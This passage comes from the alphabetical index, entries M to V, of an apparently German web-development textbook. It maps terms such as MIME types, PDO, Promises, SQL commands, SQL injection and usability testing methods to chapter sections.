Meta Data Content [→ 5.6 Not so easy: Content Categories ab HTML5]

method [→ 5.9 Formulare als Schnittstelle zwischen Client und Server]

Metrik [→ 2.4 Der User, das (un)bekannte Wesen]

MIME Type [→ 3.5 Mime Types und Content Types – Sein und Schein] [→ 5.1 Ein bisschen in der Geschichte von HTML stöbern]

Content Type [→ 3.5 Mime Types und Content Types – Sein und Schein]

mime_content_type [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage] [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

MIN [→ 12.11 Ende der Fahnenstange? Weitere SQL-Befehle]

minmax [→ 6.17 Fortgeschrittenes Layout – Jetzt wird’s fein]

Mixed Reality [→ 8.9 Ausblick]

mkdir [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

Mobile First [→ 8.2 Wie geht man’s an? Der Workflow]

Mobilität [→ 8.1 Die Grundlagen des Responsive Design]

halbmobil [→ 8.1 Die Grundlagen des Responsive Design]

pseudomobil [→ 8.1 Die Grundlagen des Responsive Design]

vollmobil [→ 8.1 Die Grundlagen des Responsive Design]

Mock-Up [→ 2.7 Zielorientiertes Interaktionsdesign]

Model [→ 11.17 Ausblick]

monospace [→ 6.10 Das geschriebene Wort – Schriften]

MP3 [→ 5.10 Multimedia mit Audio, Video & Co.]

multiple [→ 11.13 Formulare aufgebohrt: Datei-Upload]

MVC (Model View Controller) [→ 11.17 Ausblick]

MyISAM [→ 12.3 Tabellen und Co. – der Aufbau einer Datenbank]

MySQLi [→ 12.5 Die zwei Freunde Webserver und Datenbankserver – Datenbankanbindung mittels PHP]

N ⇑

Nachfolgermethode [→ 12.10 Auch die Datenbank kann’s – rekursive Datenspeicherung]

name [→ 5.9 Formulare als Schnittstelle zwischen Client und Server]

Nameserver [→ 3.4 Domains]

nav [→ 5.8 Elemente mit (besonderer) Bedeutung]

Navigation [→ 5.8 Elemente mit (besonderer) Bedeutung]

navigator [→ 7.8 Mehr als nur document: Das window-Objekt]

NGINX [→ 3.8 Wie ein Webserver funktioniert]

Node.js [→ 7.1 Eine erste Abgrenzung zu anderen Sprachen und Frameworks]

Nodelist [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

nodeName [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

nodeType [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

nodeValue [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

Non-blocking Code [→ 7.3 Bevor es los geht, ein wenig Vorbereitung]

Normal Flow [→ 6.13 Positionierungsarten – Normal Flow vs. individuelle Positionierung]

Normalformen [→ 12.9 Praxis vs. Theorie – Normalformen, Beziehungen, Joins]

dritte [→ 12.9 Praxis vs. Theorie – Normalformen, Beziehungen, Joins]

erste [→ 12.9 Praxis vs. Theorie – Normalformen, Beziehungen, Joins]

Konsistenz [→ 12.9 Praxis vs. Theorie – Normalformen, Beziehungen, Joins]

Redundanzen [→ 12.9 Praxis vs. Theorie – Normalformen, Beziehungen, Joins]

zweite [→ 12.9 Praxis vs. Theorie – Normalformen, Beziehungen, Joins]

null [→ 7.4 Die essenziellen Grundlagen der Programmierung]

O ⇑

Objekte [→ 7.4 Die essenziellen Grundlagen der Programmierung]

Objektorientierte Datenbank [→ 12.1 Alles Datenbank, oder was? Ein paar Begriffe]

Objektorientierte Programmierung [→ 11.4 Imperativer oder objektorientierter Ansatz?]

Objektschreibweise [→ 7.4 Die essenziellen Grundlagen der Programmierung]

Oktalsystem [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

opacity [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

openssl_cipher_iv_length [→ 13.6 Ver- und Entschlüsselung von Daten – symmetrische Verschlüsselungsverfahren]

openssl_random_pseudo_bytes [→ 13.6 Ver- und Entschlüsselung von Daten – symmetrische Verschlüsselungsverfahren] [→ 13.6 Ver- und Entschlüsselung von Daten – symmetrische Verschlüsselungsverfahren]

Operationen [→ 7.4 Die essenziellen Grundlagen der Programmierung]

Verknüpfungsoperationen [→ 7.4 Die essenziellen Grundlagen der Programmierung]

ORDER BY [→ 12.6 Noch eine Sprache – SQL]

orientation [→ 6.20 Media Queries und @-Regeln aus Rücksichtnahme auf die User-Anforderungen] [→ 6.20 Media Queries und @-Regeln aus Rücksichtnahme auf die User-Anforderungen] [→ 8.5 Die Grundbausteine einer responsiven Site]

OTF [→ 6.10 Das geschriebene Wort – Schriften]

overflow [→ 6.8 Sind ja alles nur Boxen – das Box-Modell] [→ 6.11 Textumfluss (float) – umflossene Elemente wie in Druckmedien]

P ⇑

Packagist [→ 11.17 Ausblick]

padding [→ 6.8 Sind ja alles nur Boxen – das Box-Modell]

padding-box [→ 6.12 Der Hintergrund als Gestaltungselement]

Painting [→ 6.21 Advanced Stuff: CSSOM]

Paragraph [→ 5.4 Die Elemente einer HTML-Seite]

Parallax-Effekt [→ 6.18 Alles ist in Bewegung – Übergänge und Animationen]

parseInt [→ 7.4 Die essenziellen Grundlagen der Programmierung]

Parsing [→ 6.21 Advanced Stuff: CSSOM]

password_hash [→ 13.5 Sichere Verschlüsselung von Passwörtern – asymmetrische Verschlüsselungsverfahren]

password_verify [→ 13.5 Sichere Verschlüsselung von Passwörtern – asymmetrische Verschlüsselungsverfahren]

pathinfo [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

PDO (PHP Data Objects) [→ 12.5 Die zwei Freunde Webserver und Datenbankserver – Datenbankanbindung mittels PHP]

Persistente Verbindungen [→ 12.8 Datenbankzugriff verbessert: PDO aufgebohrt]

Personas [→ 2.4 Der User, das (un)bekannte Wesen]

perspective [→ 6.18 Alles ist in Bewegung – Übergänge und Animationen]

perspective-origin [→ 6.18 Alles ist in Bewegung – Übergänge und Animationen]

Pfad [→ 5.4 Die Elemente einer HTML-Seite]

Pfad umbenennen 

rename [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

PHP [→ 3.8 Wie ein Webserver funktioniert]

Fehlermodell [→ 11.5 Jeder macht Fehler – das Fehlermodell von PHP]

PHP-Integration 

CGI [→ 3.8 Wie ein Webserver funktioniert]

FastCGI [→ 3.8 Wie ein Webserver funktioniert]

FPM [→ 3.8 Wie ein Webserver funktioniert]

mod_php [→ 3.8 Wie ein Webserver funktioniert]

PHPMailer [→ 11.16 Die Kommunikation mit der Außenwelt – der Versand von E-Mails]

Phrasing Content [→ 5.6 Not so easy: Content Categories ab HTML5]

picture [→ 5.4 Die Elemente einer HTML-Seite] [→ 5.4 Die Elemente einer HTML-Seite]

Piktogramm [→ 8.5 Die Grundbausteine einer responsiven Site]

Pixeldichte [→ 5.4 Die Elemente einer HTML-Seite]

placeholder [→ 5.9 Formulare als Schnittstelle zwischen Client und Server]

pointer [→ 6.20 Media Queries und @-Regeln aus Rücksichtnahme auf die User-Anforderungen] [→ 6.20 Media Queries und @-Regeln aus Rücksichtnahme auf die User-Anforderungen] [→ 8.5 Die Grundbausteine einer responsiven Site]

Ports [→ 3.2 Protokolle und Ports – eine Frage der Kommunikation] [→ 3.2 Protokolle und Ports – eine Frage der Kommunikation]

position [→ 6.13 Positionierungsarten – Normal Flow vs. individuelle Positionierung]

Positionierungsart [→ 6.13 Positionierungsarten – Normal Flow vs. individuelle Positionierung]

POST [→ 5.9 Formulare als Schnittstelle zwischen Client und Server] [→ 11.10 Der Anknüpfungspunkt an HTML – Formulare als wesentliches Kommunikationsmittel]

pow [→ 8.5 Die Grundbausteine einer responsiven Site]

Präprozessor [→ 6.22 Sass, LESS & Co – der Einsatz von CSS-Präprozessoren]

Precompiler → siehe [Präprozessor]

prefers-color-scheme [→ 6.20 Media Queries und @-Regeln aus Rücksichtnahme auf die User-Anforderungen] [→ 6.20 Media Queries und @-Regeln aus Rücksichtnahme auf die User-Anforderungen]

prefers-contrast [→ 8.5 Die Grundbausteine einer responsiven Site]

custom [→ 8.5 Die Grundbausteine einer responsiven Site]

less [→ 8.5 Die Grundbausteine einer responsiven Site]

no-preference [→ 8.5 Die Grundbausteine einer responsiven Site]

Prepared Statements [→ 12.7 Alles eine Sache der Vorbereitung: Prepared Statements]

Primärfarben [→ 2.9 Wie Farbe wirkt] [→ 2.9 Wie Farbe wirkt]

Primary [→ 12.3 Tabellen und Co. – der Aufbau einer Datenbank]

Index [→ 12.3 Tabellen und Co. – der Aufbau einer Datenbank]

Primärschlüssel [→ 12.3 Tabellen und Co. – der Aufbau einer Datenbank]

Progressive Enhance [→ 5.9 Formulare als Schnittstelle zwischen Client und Server]

Progressive Enhancement [→ 7.13 Robuste Programmierung – der Umgang mit Fehlern]

Promises [→ 7.4 Die essenziellen Grundlagen der Programmierung] [→ 7.4 Die essenziellen Grundlagen der Programmierung] [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API] [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

fulfilled [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

pending [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

rejected [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

prompt [→ 5.9 Formulare als Schnittstelle zwischen Client und Server]

Proportionalschriften [→ 6.10 Das geschriebene Wort – Schriften]

Protokolle [→ 3.2 Protokolle und Ports – eine Frage der Kommunikation]

FTP [→ 3.2 Protokolle und Ports – eine Frage der Kommunikation]

HTTP [→ 3.2 Protokolle und Ports – eine Frage der Kommunikation]

POP3 [→ 3.2 Protokolle und Ports – eine Frage der Kommunikation]

SMTP [→ 3.2 Protokolle und Ports – eine Frage der Kommunikation]

SSH [→ 3.2 Protokolle und Ports – eine Frage der Kommunikation]

TCP/IP [→ 3.2 Protokolle und Ports – eine Frage der Kommunikation]

UDP [→ 3.2 Protokolle und Ports – eine Frage der Kommunikation]

Prototypen [→ 2.7 Zielorientiertes Interaktionsdesign]

Provider [→ 3.3 IP-Adressen – unsere Anschrift im Internet]

Tier 1 [→ 3.3 IP-Adressen – unsere Anschrift im Internet]

Tier 2 [→ 3.3 IP-Adressen – unsere Anschrift im Internet]

Tier 3 [→ 3.3 IP-Adressen – unsere Anschrift im Internet]

Pseudoelement [→ 6.5 Ein Muss: Selektionen und Spezifitäten]

Pseudoklasse [→ 6.5 Ein Muss: Selektionen und Spezifitäten]

Public Code Repository [→ 9.2 Die Versionierung]

Python [→ 3.8 Wie ein Webserver funktioniert] [→ 11.1 PHP gegen den Rest der Welt?]

Q ⇑

Quelltext [→ 4.3 Der Browser als Interpreter und Testumgebung]

Interpretation [→ 4.3 Der Browser als Interpreter und Testumgebung]

querySelector [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

querySelectorAll [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

R ⇑

Rainbow Tables [→ 13.5 Sichere Verschlüsselung von Passwörtern – asymmetrische Verschlüsselungsverfahren]

random [→ 7.4 Die essenziellen Grundlagen der Programmierung]

readonly [→ 5.9 Formulare als Schnittstelle zwischen Client und Server]

Rechte 

ausführen [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

lesen [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

schreiben [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

Red Ocean Marketing [→ 2.1 Die Planung einer Website]

Redaktionssystem [→ 12.6 Noch eine Sprache – SQL]

Redundanz (Datenbankdesign) [→ 12.9 Praxis vs. Theorie – Normalformen, Beziehungen, Joins]

Referenzielle Integrität [→ 12.3 Tabellen und Co. – der Aufbau einer Datenbank]

Referer [→ 5.11 Meta-Informationen sind der Mehrwert von Websites]

Reflektive Design [→ 10.2 User Experience]

reject [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

Rekursion [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

Relation [→ 12.1 Alles Datenbank, oder was? Ein paar Begriffe]

Relationale Datenbank [→ 12.1 Alles Datenbank, oder was? Ein paar Begriffe]

remove [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

removeChild [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

removeEventListener [→ 7.6 Ereignisse bestimmen den Ablauf]

Rendering [→ 6.21 Advanced Stuff: CSSOM]

repeat [→ 6.17 Fortgeschrittenes Layout – Jetzt wird’s fein]

Repository [→ 9.2 Die Versionierung]

Request [→ 3.2 Protokolle und Ports – eine Frage der Kommunikation]

asynchroner [→ 7.3 Bevor es los geht, ein wenig Vorbereitung]

synchroner [→ 7.3 Bevor es los geht, ein wenig Vorbereitung]

require (PHP) [→ 11.8 Hilfreich: Code in externe Dateien auslagern]

required (HTML-Attribut) [→ 5.9 Formulare als Schnittstelle zwischen Client und Server]

reset [→ 5.9 Formulare als Schnittstelle zwischen Client und Server] [→ 7.6 Ereignisse bestimmen den Ablauf]

Reset-Button [→ 5.9 Formulare als Schnittstelle zwischen Client und Server]

resolution [→ 6.20 Media Queries und @-Regeln aus Rücksichtnahme auf die User-Anforderungen] [→ 6.20 Media Queries und @-Regeln aus Rücksichtnahme auf die User-Anforderungen] [→ 8.5 Die Grundbausteine einer responsiven Site]

resolve [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

Resource Exhaustion Attack [→ 13.4 Angriffsszenario 4: Upload von Dateien]

Response [→ 3.2 Protokolle und Ports – eine Frage der Kommunikation] [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

Response.blob() [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

Response.body [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

Response.json() [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

Response.ok [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

Response.text() [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

Responsive Font Proportions [→ 8.5 Die Grundbausteine einer responsiven Site]

Responsive Rainbow Tables [→ 8.5 Die Grundbausteine einer responsiven Site]

Responsive Webdesign [→ 8.1 Die Grundlagen des Responsive Design]

adaptives Design [→ 8.1 Die Grundlagen des Responsive Design]

liquides Design [→ 8.1 Die Grundlagen des Responsive Design]

Performance [→ 8.1 Die Grundlagen des Responsive Design]

Retina-Display [→ 5.4 Die Elemente einer HTML-Seite]

revert [→ 6.6 Die Vererbung – mehr Pro als Kontra]

RIR (Regional Internet Registry) [→ 3.3 IP-Adressen – unsere Anschrift im Internet]

rmdir [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

Robots [→ 5.11 Meta-Informationen sind der Mehrwert von Websites]

Root-Verzeichnis [→ 4.1 Server-Software – wir spielen Provider]

htdocs [→ 4.1 Server-Software – wir spielen Provider]

rotate [→ 8.5 Die Grundbausteine einer responsiven Site]

rowspan [→ 5.4 Die Elemente einer HTML-Seite]

RTT (Round Trip Time) [→ 8.7 Alles performt – optimiert geht’s schneller]

S ⇑

Sandbox [→ 7.13 Robuste Programmierung – der Umgang mit Fehlern]

sans-serif [→ 6.10 Das geschriebene Wort – Schriften]

Sass [→ 6.22 Sass, LESS & Co – der Einsatz von CSS-Präprozessoren] [→ 6.22 Sass, LESS & Co – der Einsatz von CSS-Präprozessoren]

scandir [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

Schleifen [→ 7.4 Die essenziellen Grundlagen der Programmierung]

do-while [→ 7.4 Die essenziellen Grundlagen der Programmierung]

for [→ 7.4 Die essenziellen Grundlagen der Programmierung]

kopfgesteuerte [→ 7.4 Die essenziellen Grundlagen der Programmierung]

while [→ 7.4 Die essenziellen Grundlagen der Programmierung]

zählergesteuerte [→ 7.4 Die essenziellen Grundlagen der Programmierung]

Schmuckschriften [→ 6.10 Das geschriebene Wort – Schriften]

Schreibrechte [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

Schriften [→ 6.10 Das geschriebene Wort – Schriften]

Farbverlauf [→ 6.10 Das geschriebene Wort – Schriften]

Größe [→ 6.10 Das geschriebene Wort – Schriften]

Kerning [→ 6.10 Das geschriebene Wort – Schriften]

lizenzfreie [→ 6.10 Das geschriebene Wort – Schriften]

Monospace [→ 6.10 Das geschriebene Wort – Schriften]

Schmuckschrift [→ 6.10 Das geschriebene Wort – Schriften]

Schriftfamilie [→ 6.10 Das geschriebene Wort – Schriften]

Schriftfarbe [→ 6.10 Das geschriebene Wort – Schriften]

Schriftstärken [→ 6.10 Das geschriebene Wort – Schriften]

serifenlose [→ 6.10 Das geschriebene Wort – Schriften]

Serifenschrift [→ 6.10 Das geschriebene Wort – Schriften]

statische [→ 6.10 Das geschriebene Wort – Schriften]

Stil [→ 6.10 Das geschriebene Wort – Schriften]

TrueType [→ 6.10 Das geschriebene Wort – Schriften]

variable [→ 6.10 Das geschriebene Wort – Schriften]

websichere [→ 6.10 Das geschriebene Wort – Schriften]

Schriftschnitt [→ 6.10 Das geschriebene Wort – Schriften]

Scope (Gültigkeitsbereich) [→ 7.4 Die essenziellen Grundlagen der Programmierung]

screen [→ 7.8 Mehr als nur document: Das window-Objekt]

Screenreader [→ 10.3 Barrierefreiheit]

script [→ 7.2 Scriptsprachen und HTML – her mit der Interaktion]

Script Scope [→ 7.13 Robuste Programmierung – der Umgang mit Fehlern]

scripting [→ 8.5 Die Grundbausteine einer responsiven Site]

Scriptsprache [→ 7.1 Eine erste Abgrenzung zu anderen Sprachen und Frameworks]

search [→ 5.9 Formulare als Schnittstelle zwischen Client und Server]

section [→ 5.8 Elemente mit (besonderer) Bedeutung]

Sectioning Content [→ 5.6 Not so easy: Content Categories ab HTML5]

Seitenkante [→ 10.1 Usability]

SELECT [→ 12.6 Noch eine Sprache – SQL]

DISTINCT [→ 12.11 Ende der Fahnenstange? Weitere SQL-Befehle]

Selektor [→ 6.4 Und die Schreibweise von CSS-Regeln?]

Semantik [→ 5.4 Die Elemente einer HTML-Seite]

Sensorik [→ 8.1 Die Grundlagen des Responsive Design]

SEO (Suchmaschinen-Optimierung) [→ 5.11 Meta-Informationen sind der Mehrwert von Websites]

serif [→ 6.10 Das geschriebene Wort – Schriften]

Server [→ 3.1 Dienste im Internet, Server und Client] [→ 3.1 Dienste im Internet, Server und Client]

Serversoftware [→ 3.8 Wie ein Webserver funktioniert]

Datenbankserver [→ 4.1 Server-Software – wir spielen Provider]

FTP-Server [→ 4.1 Server-Software – wir spielen Provider]

Mailserver [→ 4.1 Server-Software – wir spielen Provider]

Webserver [→ 4.1 Server-Software – wir spielen Provider]

Session [→ 11.12 »Kennst Du mich noch?« – Sessions (Sitzungen)] [→ 11.12 »Kennst Du mich noch?« – Sessions (Sitzungen)]

Session Storage [→ 7.15 Lokale Datenspeicherung – wohin mit den Daten?]

session_id [→ 11.12 »Kennst Du mich noch?« – Sessions (Sitzungen)]

session_start [→ 11.12 »Kennst Du mich noch?« – Sessions (Sitzungen)]

session.gc_maxlifetime [→ 11.12 »Kennst Du mich noch?« – Sessions (Sitzungen)]

setAttribute [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)] [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

setInterval [→ 7.7 Wir haben ja Zeit: Zeitlich gesteuerte Befehle]

setTimeout [→ 7.7 Wir haben ja Zeit: Zeitlich gesteuerte Befehle]

settype [→ 13.7 Damit haben wir nicht gerechnet – Variablentypen und Konvertierungsfunktionen]

SFTP (SSH File Transfer Protocol) [→ 9.1 Der Veröffentlichungsprozess]

Shadowing [→ 7.4 Die essenziellen Grundlagen der Programmierung]

Signed [→ 12.3 Tabellen und Co. – der Aufbau einer Datenbank]

Skiplinks [→ 10.3 Barrierefreiheit]

small [→ 5.5 Easy: Block vs. Inline – die grundlegendste Unterscheidung von Elementen]

Socket-Server [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

solid [→ 6.8 Sind ja alles nur Boxen – das Box-Modell]

source [→ 5.4 Die Elemente einer HTML-Seite]

Spalten [→ 12.3 Tabellen und Co. – der Aufbau einer Datenbank]

span [→ 5.5 Easy: Block vs. Inline – die grundlegendste Unterscheidung von Elementen] [→ 5.7 Bedeutungslose Elemente – nichts für echte Webdesigner*innen]

Specific Content Categories [→ 5.6 Not so easy: Content Categories ab HTML5]

Spezifität [→ 6.1 Die drei Säulen von CSS] [→ 6.1 Die drei Säulen von CSS]

Splat-Operator [→ 11.6 Die Unterschiede in der Schreibweise von JavaScript und PHP]

Sprachsteuerung [→ 8.9 Ausblick]

Sprites [→ 8.5 Die Grundbausteine einer responsiven Site]

Sprungmarken [→ 5.4 Die Elemente einer HTML-Seite]

SQL [→ 12.6 Noch eine Sprache – SQL] [→ 12.6 Noch eine Sprache – SQL]

DELETE [→ 12.6 Noch eine Sprache – SQL]

INSERT [→ 12.6 Noch eine Sprache – SQL]

SELECT [→ 12.6 Noch eine Sprache – SQL]

UPDATE [→ 12.6 Noch eine Sprache – SQL]

SQL-Injection [→ 12.7 Alles eine Sache der Vorbereitung: Prepared Statements] [→ 13.2 Angriffsszenario 2: SQL-Injections]

First-Order [→ 13.2 Angriffsszenario 2: SQL-Injections]

Second-Order [→ 13.2 Angriffsszenario 2: SQL-Injections]

SQL-Statement [→ 12.6 Noch eine Sprache – SQL]

srcset [→ 5.4 Die Elemente einer HTML-Seite]

Stäbchen [→ 2.9 Wie Farbe wirkt]

stopPropagation [→ 7.6 Ereignisse bestimmen den Ablauf]

String [→ 7.4 Die essenziellen Grundlagen der Programmierung]

Stringschlüssel [→ 11.6 Die Unterschiede in der Schreibweise von JavaScript und PHP]

strong [→ 5.5 Easy: Block vs. Inline – die grundlegendste Unterscheidung von Elementen]

strtolower [→ 12.5 Die zwei Freunde Webserver und Datenbankserver – Datenbankanbindung mittels PHP]

strtotime [→ 12.6 Noch eine Sprache – SQL]

strtoupper [→ 12.5 Die zwei Freunde Webserver und Datenbankserver – Datenbankanbindung mittels PHP]

strval [→ 13.7 Damit haben wir nicht gerechnet – Variablentypen und Konvertierungsfunktionen]

style [→ 6.3 CSS und HTML – ein schönes Paar]

sub [→ 5.5 Easy: Block vs. Inline – die grundlegendste Unterscheidung von Elementen]

submit [→ 5.9 Formulare als Schnittstelle zwischen Client und Server] [→ 7.6 Ereignisse bestimmen den Ablauf]

Submit-Button [→ 5.9 Formulare als Schnittstelle zwischen Client und Server]

Suchmaschinen-Optimierung [→ 5.11 Meta-Informationen sind der Mehrwert von Websites]

SUM [→ 12.11 Ende der Fahnenstange? Weitere SQL-Befehle]

summary [→ 5.8 Elemente mit (besonderer) Bedeutung]

sup [→ 5.5 Easy: Block vs. Inline – die grundlegendste Unterscheidung von Elementen]

Superglobals [→ 11.6 Die Unterschiede in der Schreibweise von JavaScript und PHP]

supports [→ 6.20 Media Queries und @-Regeln aus Rücksichtnahme auf die User-Anforderungen]

switch [→ 7.4 Die essenziellen Grundlagen der Programmierung]

Symfony [→ 11.17 Ausblick]

T ⇑

Tabellen [→ 5.4 Die Elemente einer HTML-Seite]

Table-driven Design [→ 5.4 Die Elemente einer HTML-Seite] [→ 5.4 Die Elemente einer HTML-Seite] [→ 6.14 Tabellenartiges Design mit CSS]

table-layout [→ 6.14 Tabellenartiges Design mit CSS]

Überschriftenzelle [→ 5.4 Die Elemente einer HTML-Seite]

table [→ 5.4 Die Elemente einer HTML-Seite]

Tags [→ 5.1 Ein bisschen in der Geschichte von HTML stöbern]

tbody [→ 5.4 Die Elemente einer HTML-Seite] [→ 6.14 Tabellenartiges Design mit CSS]

td (HTML-Tag) [→ 5.4 Die Elemente einer HTML-Seite]

Template Literal [→ 7.16 Vorlagen (Template Literals)]

Tenär-Operator [→ 7.4 Die essenziellen Grundlagen der Programmierung]

text-align [→ 6.10 Das geschriebene Wort – Schriften]

Textknoten → siehe [Knoten]

text-shadow [→ 6.10 Das geschriebene Wort – Schriften]

tfoot [→ 5.4 Die Elemente einer HTML-Seite] [→ 6.14 Tabellenartiges Design mit CSS]

th (HTML-Tag) [→ 5.4 Die Elemente einer HTML-Seite]

thead [→ 5.4 Die Elemente einer HTML-Seite] [→ 6.14 Tabellenartiges Design mit CSS]

time [→ 5.5 Easy: Block vs. Inline – die grundlegendste Unterscheidung von Elementen]

Top-down-Prinzip [→ 7.17 Das Finale? Prototypen, Klassen, Architektur und Co.]

tr (HTML-Tag) [→ 5.4 Die Elemente einer HTML-Seite]

Transaktionen [→ 12.8 Datenbankzugriff verbessert: PDO aufgebohrt]

transition-delay [→ 6.18 Alles ist in Bewegung – Übergänge und Animationen]

transition-duration [→ 6.18 Alles ist in Bewegung – Übergänge und Animationen]

transition-property [→ 6.18 Alles ist in Bewegung – Übergänge und Animationen]

Transitions [→ 6.18 Alles ist in Bewegung – Übergänge und Animationen]

transition-timing-function [→ 6.18 Alles ist in Bewegung – Übergänge und Animationen]

translateZ [→ 6.18 Alles ist in Bewegung – Übergänge und Animationen]

Triggers [→ 12.11 Ende der Fahnenstange? Weitere SQL-Befehle]

trim [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

TRUNCATE [→ 12.6 Noch eine Sprache – SQL]

truthy [→ 7.13 Robuste Programmierung – der Umgang mit Fehlern]

TTF (TrueTypeFont) [→ 6.10 Das geschriebene Wort – Schriften]

type [→ 5.9 Formulare als Schnittstelle zwischen Client und Server]

TypeScript [→ 7.1 Eine erste Abgrenzung zu anderen Sprachen und Frameworks] [→ 7.2 Scriptsprachen und HTML – her mit der Interaktion]

Typisierung 

schwache [→ 7.4 Die essenziellen Grundlagen der Programmierung]

starke [→ 7.4 Die essenziellen Grundlagen der Programmierung]

Typografie [→ 6.10 Das geschriebene Wort – Schriften]

Typprüfung [→ 7.13 Robuste Programmierung – der Umgang mit Fehlern]

U ⇑

Umbenennen 

Dateien/Verzeichnisse auf Serverseite [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

Umfluss (Float) [→ 6.11 Textumfluss (float) – umflossene Elemente wie in Druckmedien]

Unäre Operatoren [→ 7.4 Die essenziellen Grundlagen der Programmierung]

undefined [→ 7.4 Die essenziellen Grundlagen der Programmierung]

UNION [→ 12.11 Ende der Fahnenstange? Weitere SQL-Befehle]

UNION-Hack [→ 13.2 Angriffsszenario 2: SQL-Injections]

Unique [→ 12.3 Tabellen und Co. – der Aufbau einer Datenbank]

Universalselektor [→ 6.5 Ein Muss: Selektionen und Spezifitäten]

unset [→ 6.6 Die Vererbung – mehr Pro als Kontra]

Unsigned [→ 12.3 Tabellen und Co. – der Aufbau einer Datenbank]

UPDATE [→ 12.6 Noch eine Sprache – SQL]

Upload [→ 5.9 Formulare als Schnittstelle zwischen Client und Server]

Usability [→ 10.1 Usability]

Aesthetic Usability [→ 10.1 Usability]

Attribute [→ 10.1 Usability]

Effektivität [→ 10.1 Usability]

Effizienz [→ 10.1 Usability]

Einprägsamkeit [→ 10.1 Usability]

Emotional Usability [→ 10.1 Usability]

Erlernbarkeit [→ 10.1 Usability]

Fehlerrate [→ 10.1 Usability]

Inspektionsmethoden [→ 10.1 Usability]

Lifecycle [→ 10.1 Usability]

Prinzipien [→ 10.1 Usability]

Testmethoden [→ 10.1 Usability]

Zufriedenheit [→ 10.1 Usability]

Usability-Inspektionen [→ 2.7 Zielorientiertes Interaktionsdesign]

Usability-Lifecycle 

Analysephase [→ 10.1 Usability]

Einführungsphase [→ 10.1 Usability]

Entwicklungsphase [→ 10.1 Usability]

Konzeptionsphase [→ 10.1 Usability]

laufende Optimierung [→ 10.1 Usability]

Relaunch-Vorbereitung [→ 10.1 Usability]

Usability-Testmethoden 

A/B-Test [→ 10.1 Usability]

Aktionsanalyse [→ 10.1 Usability]

Augenkamera-Tests [→ 10.1 Usability]

Co-Discovery [→ 10.1 Usability]

Cognitive Walkthrough [→ 10.1 Usability]

Fragebogentests [→ 10.1 Usability]

Guideline Checking [→ 10.1 Usability]

Guideline Scoring [→ 10.1 Usability]

heuristische Evaluation [→ 10.1 Usability]

statistische Studien [→ 10.1 Usability]

Thinking Aloud [→ 10.1 Usability]

Usability-Tests [→ 2.7 Zielorientiertes Interaktionsdesign]

Use Cases (Szenarien) [→ 2.7 Zielorientiertes Interaktionsdesign] [→ 2.7 Zielorientiertes Interaktionsdesign]

use strict [→ 7.4 Die essenziellen Grundlagen der Programmierung]

User [→ 5.1 Ein bisschen in der Geschichte von HTML stöbern]

künstliche Besucher [→ 5.1 Ein bisschen in der Geschichte von HTML stöbern]

menschliche Besucher [→ 5.1 Ein bisschen in der Geschichte von HTML stöbern]

UX (User Experience) [→ 10.1 Usability] [→ 10.2 User Experience]

V ⇑

Validator (W3-Konsortium) [→ 4.3 Der Browser als Interpreter und Testumgebung]

var [→ 7.4 Die essenziellen Grundlagen der Programmierung]

Variablen [→ 7.4 Die essenziellen Grundlagen der Programmierung]

CSS [→ 6.19 Ein erster Schritt in Richtung Programmierung mit CSS-Variablen]

Deklaration [→ 7.4 Die essenziellen Grundlagen der Programmierung]

globale [→ 7.4 Die essenziellen Grundlagen der Programmierung]

lokale [→ 7.4 Die essenziellen Grundlagen der Programmierung]

VBScript [→ 7.2 Scriptsprachen und HTML – her mit der Interaktion]

Vererbung [→ 6.1 Die drei Säulen von CSS] [→ 6.1 Die drei Säulen von CSS] [→ 6.6 Die Vererbung – mehr Pro als Kontra]

Vergleichsoperationen [→ 7.4 Die essenziellen Grundlagen der Programmierung]

Versalhöhe [→ 6.10 Das geschriebene Wort – Schriften]

